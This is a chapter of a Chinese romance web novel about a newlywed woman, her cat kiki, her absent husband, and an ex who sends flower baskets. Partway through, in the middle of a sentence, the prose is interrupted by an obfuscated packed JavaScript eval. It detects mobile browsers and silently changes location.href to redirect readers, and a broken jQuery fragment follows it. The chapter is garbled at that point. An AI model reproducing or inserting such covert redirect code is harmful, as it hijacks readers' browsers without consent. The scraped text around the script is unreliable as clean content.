41. 第 41 章

作品:《纵她娇矜【先婚后爱】

    或许是知道自己的吃饭时间到了,平日里跟小旋风一样不见踪影的kiki悄无声息出现在厨房。


    后腿蓄力,轻盈跳上岛台,尾巴摆动了一下,维持平衡,它刻意离梁清玫远远的,夹着嗓子对姜姨喵喵叫了两声。


    姜姨笑着回应它:“好好好,kiki不要急,你的饭马上就好了。”


    “喵~~”


    蒸烤箱时间到,滴滴发出响声。


    姜姨将餐盘端出来,撕碎盘里三文鱼和鸡胸肉,降温的同时也方便kiki进食,再加入蔬菜,鱼油、钙粉,搅拌搅拌,一份适合小猫咪的营养晚饭就做好了。


    姜姨把餐盘端到kiki专属就餐区。


    有美食当前,kiki也顾不得和梁清玫这个危险的人类还在面前,埋头哐哐干饭,吃得嘎吱嘎吱响。


    这个时候碰kiki脑袋,kiki不会躲闪,但梁清玫动作幅度稍微大些,kiki还是会停下吃饭的动作朝她呲牙。


    不是要咬她,更多的是吓唬她。


    然而梁清玫又不怕吓,一边给kiki顺毛一边念叨:“呼噜呼噜毛,睡不着~”


    姜姨看着一人一猫互动,心跟着暖洋洋的。


    自从梁小姐和傅先生结婚后,她就觉得原先冷冰冰的别墅好似活了过来,傅先生不似之前,每日早出晚归眼里只有工作,他会和太太一起聊天、说八卦,还会和太太分享亲近kiki的秘诀,她时常能听见太太放肆灵动的笑声,连带着kiki都变得更有活力,每日不厌其烦和梁清玫玩躲猫猫的游戏。


    等到太太找它找得筋疲力竭躺在沙发上,才不紧不慢跳出来,甩着大尾巴,昂着猫脑袋,优雅地从梁清玫面前路过,时常把太太气得大叫,抓着kiki一顿猛亲。


    傅先生这个时候就坐在沙发上看一人一猫互动,目光柔和。


    梁清玫没再逗弄kiki,从口袋里拿出手机给kiki拍照,刚好看到应可可发来的照片。


    是她站在傅斯决面前的那一幕。


    她微微仰头看着傅斯决,秋日晨曦如柔纱落在她和傅斯决发间,应可可拍摄技术极好,周围人的面孔在她的镜头下自动虚化,彷佛天地间只剩你和我的具象化。


    梁清玫看了许久,将图片保存,想起尚在飞机上的傅斯决。


    点开航空公司软件,梁清玫手动查询傅斯决所搭乘的航班何时落地,十点五十九的航班,将近凌晨一点落地。


    的确有些晚了。


    在点击退出前,梁清玫察觉不对劲,再往上翻看一番,并未发现今日有因为天气或者其他缘故延迟的航班。


    梁清玫眨眨眼。


    难不成,傅斯决是为了她特意将航班延迟?


    梁清玫是这么猜测的,但也不敢真的肯定傅斯决将航班推迟是为了她。


    打开和傅斯决的聊天框,聊天内容停留在前天他询问她晚上回不回家吃饭,后面还跟着一个表情包,一看就是偷的她的。


    梁清玫用的表情包都是自己画的,上传到聊天软件后时不时能收到某些喜欢她表情包的观众的打赏,说有多赚钱不至于,但每天一根棒棒糖还是有的。


    梁清玫将kiki吃饭的照片发了过去。


    梁清玫:【图片jpg.】


    梁清玫:【kiki今日吃饭照~】


    盯着手机几秒,梁清玫翻了翻手机,还有一张今晚庆祝餐的照片,她将照片一同发送过去。


    打字:【梁清玫今日吃饭照~】


    发送前,梁清玫检查一遍,最后将末尾的小尾巴删掉才发出去。


    她总觉得小尾巴有些撒娇的意味,kiki是个小猫咪,它可以撒娇,她可不行。


    看着蹲在地上玩手机的梁清玫,姜姨拿了张小板凳给她坐,有些不好意思开口:“太太,我想同你请一周的假,我女儿前几天从楼梯上摔下来了,小腿骨折,生活多有不便,我想请假照顾她几天。”


    怕梁清玫不清楚,姜姨补充,“先生之前说了,有事让我和太太您商量,要是太太觉得请假时间太长,那我能不能在别墅顺带把饭做了,等太太吃饭的时候,我再去给我女儿送饭。”


    梁清玫倒不介意这个。


    “不用,跑来跑去多麻烦,请一星期够吗?不都是说伤筋动骨一百天?你先照顾你女儿,有需要就给我发消息,我都给你批假,工资你也不用担心,照常发。”


    就梁清玫住进南茂别墅这一个月来看,姜姨和萍姨简直是家政阿姨中的金牌阿姨。


    不仅从不过问她和傅斯决的隐私,在饮食和生活习惯方面更是无条件迁就她和傅斯决,稍微有些拿不定主意的就会询问她和傅斯决,擅做决定这种事情完全不会有。


    梁清玫简直想把两人一辈子绑在她身边。


    姜姨哭笑不得,解释说:“太太,也不需要太长假,我女儿这两天下床不太方便需要人照顾,等过几天能自己下床了,我每天下班了去搭把手就行再说了,请假还拿工资我这心里也不安。对了,还有kiki,它吃猫粮的,自动投喂机里我已经放好了猫粮,每日定时放粮,太太偶尔给它冲点羊奶粉,再给饮水机换换水就好。”


    姜姨准备得妥当,完全没有梁清玫需要操心的地方。


    至于她吃饭问题。


    冰箱里有姜姨包好的包子和馄饨,早餐可以自己解决,午餐大概率是在工作室点外卖,晚餐则可以去爸妈家吃,还能陪陪父母,简直完美。


    梁清玫揉揉kiki的猫脑袋。


    “好,我知道了,不过这几天要是总让kiki吃猫粮也有些残忍,我晚上回来给它做猫饭好了,我刚看你做,还挺简单的。”


    姜姨笑着附和:“那kiki肯定高兴坏了,它最喜欢吃猫饭了。”


    等kiki吃完,梁清玫掐住kiki的脸蛋,声音张狂变态:“肿么办kiki,接下来几天家里就只有你和我了,以后想吃饭,必须给我双手作揖,膜拜我这个女王大人才行。”


    说完,发出和应可可同款桀桀笑声。


    姜姨被逗得直乐,kiki则再次在梁清玫手中挣扎起来,表演宁死不屈。


    和kiki斗智斗勇了一会儿,梁请玫去了书房工作,直到洗漱完爬上床准备睡觉的时候才看到傅斯决在一小时前发来的消息。


    一共三条。


    傅斯决:【好的。辛苦你照顾kiki了。】


    傅斯决:【你的晚餐看起来很丰盛,吃饱了吗?】


    最后是飞机餐的照片及配文。


    傅斯决:【傅斯决今日吃饭照。图片jpg.】


    梁清玫看完,不知为何,突然笑得乐不可支,裹着被子像蚕蛹般在床上翻


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15187392|157074||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了一圈又一圈,差点摔下床去。


    平静下来,梁清玫埋在被子里,盯着散发着冷光的手机屏幕,嘴角还挂着尚未消退的笑容。


    她怎么觉得对话里傅斯决一板一眼得有些可爱呢?


    还是说因为傅斯决不在她面前,看不见面瘫脸而造成的错觉?


    梁清玫打字:【我现在上床准备睡觉了,等你抵达洛杉矶,记得同我报个平安,然后早点休息。】


    梁清玫:【晚安。】


    梁清玫:【[兔子盖被子].jpg】


    再看到梁清玫消息时,傅斯决正坐在前往酒店的车上。


    路灯从车窗跃入,在傅斯决清隽的面容上留下明灭交替的光影,他视线停留在手机屏幕,长久未动。


    齐晟坐在副驾驶,下意识瞄了眼后视镜,看到老板将纯黑色手机壳拆下来,往里面塞了张……亮晶晶的金色纸片?


    只困惑了片刻,齐晟的注意力就落到了老板脸上,明明还是那张冷淡到没什么情绪的脸,却莫名让他觉得柔和了许多。


    齐晟揉揉眼,差点以为是自己的错觉。


    -


    工作室开业第二天,梁清玫早早起了床,给自己煮了碗简单的清汤馄饨,等kiki猫饭吃得差不多,拎着包开车出门。萍姨每日固定十点来别墅打扫卫生,今天kiki的照顾就拜托给了萍姨。


    车子稳稳停在工作室侧门时不过七点半,晨光熹微,还能听到附近树上几声清脆的鸟鸣。


    刚下车,就有人喊她:“姑娘,你是在这儿上班的吗?”


    她扭过头,是一位穿着清洁工服装的老人。


    她有些困惑,“对,怎么了大叔?”


    那位清洁工示意梁清玫跟他走,一边对她说:“你们公司昨天开业对吧,我在垃圾桶旁边看见了你们公司的开业花篮,我不认识上面的字母,但看着像是你们公司的,你看看是不是?”


    垃圾桶距离工作室不过五十米,走到垃圾桶前,梁清玫果不其然看见了一排花篮。


    花篮上原本精心摆放的花朵被人扯去一大半,剩余的因为失去水分,焉巴巴倒向一侧。


    梁清玫扯下花篮上尚存的丝带,在最下面看到署名,仅一个字:施。


    施宥诚写名字有自己的特色,写‘施’字的偏旁方总是会将那一撇拉得格外长。


    时至今日,梁清玫也能一眼就认出这是他的字。


    难不成昨天傅斯决说的扔了几个不需要的东西就是指施宥诚送的花篮?


    旁边清洁工还在问她要不要,梁清玫已经干脆利落地将剩余几个花篮上写有‘施’字的丝带扯了下来。


    将丝带团成一团捏在手心,梁清玫对清洁工大叔道:“不要了,这些都不要,麻烦您处理了。”


    回到办公室,梁清玫将棘手的东西扔到办公桌面,色彩鲜艳的丝带堆了满桌,扰人思绪。梁清玫有些头疼,她知道施宥诚一直想和她联系,想和她说话。


    可又能说些什么呢?


    无非是揪着五年前的事情反复道歉,无非是质询她为什么要和傅斯决结婚,为什么不能让他帮她,好像她不给个说法,他就永远不会放手。


    没等梁清玫想好要怎么做,办公室的门被敲响。


    向依的声音传来:“梁总,有位姓倪的女士上门,说是专门来找您的。”